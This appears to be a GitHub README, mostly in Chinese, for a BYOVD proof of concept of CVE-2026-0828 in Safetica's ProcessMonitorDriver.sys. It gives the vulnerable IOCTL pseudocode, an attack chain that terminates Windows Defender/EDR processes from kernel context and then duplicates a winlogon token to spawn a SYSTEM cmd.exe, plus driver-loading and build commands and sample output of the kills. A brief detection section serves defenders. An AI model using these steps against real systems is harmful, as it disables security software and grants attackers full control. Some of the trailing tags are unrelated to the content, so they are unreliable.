mein-0/cve-2026-0828
GitHub: mein-0/cve-2026-0828
针对 Safetica DLP 内核驱动未经身份验证的 IOCTL 漏洞的 BYOVD 概念验证,可终止 PPL 保护进程并提权至 SYSTEM。
Stars: 0 | Forks: 0
# CVE-2026-0828 — Safetica ProcessMonitorDriver.sys BYOVD PoC
Safetica DLP 内核驱动(`ProcessMonitorDriver.sys`)暴露了一个未经身份验证的 IOCTL,允许任何用户模式调用者在内核上下文中通过 `ZwTerminateProcess` 终止任意进程,从而绕过 PPL (Protected Process Light) 保护。
**CVSS:** 8.8 (High) · **类型:** BYOVD, LPE · **平台:** Windows x64
## 漏洞
IOCTL `0xB822200C` 的 `IRP_MJ_DEVICE_CONTROL` 处理程序使用 `PROCESS_ALL_ACCESS (0x1FFFFF)` 调用 `ZwOpenProcess`,随后使用直接从输入缓冲区提供的 PID 调用 `ZwTerminateProcess` —— **没有任何权限或调用者验证。**
```
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
```
由于该调用源于内核上下文,受 PPL 保护的进程(Windows Defender, EDR agents)也可以被终止。
**受影响版本:** Safetica < 11.26.19 / < 10.5.150
**已修复于:** Safetica 11.26.19, 11.29.8, 10.5.150 — 在 IOCTL 处理程序中添加了权限检查
**参考:** [KOSEC 公告](https://kosec.io/2025/11/01/safetica-byovd.html) · [CERT VU#818729](https://kb.cert.org/vuls/id/818729)
## 攻击链
```
Admin privileges
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► PHASE 2: Token duplication → SYSTEM shell
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
```
## 文件
| 文件 | 描述 |
|---|---|
| `exploit.c` | 完整 PoC — 终止 EDR,生成 NT AUTHORITY\SYSTEM cmd.exe |
## 构建
需要 Visual Studio (x64 Native Tools Command Prompt):
```
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
```
## 用法
**第 1 步 — 加载驱动** (管理员 CMD):
```
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
```
**第 2 步 — 运行 PoC:**
```
exploit.exe
```
**预期输出:**
```
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
```
一个新的 `cmd.exe` 窗口将以 `NT AUTHORITY\SYSTEM` 身份打开。
## 检测
**Event ID 7045** — 新的内核服务安装:
```
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
```
**WDAC 黑名单 (SHA256):**
```
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
```
**ETW:** 监控对 `\\.\STProcessMonitorDriver` 的 `DeviceIoControl` 调用。
## 测试环境
- Windows 10 22H2 x64
标签:BYOVD, EDR绕过, Linux, Web报告查看器, Windows驱动, 客户端加密, 本地提权, 高交互蜜罐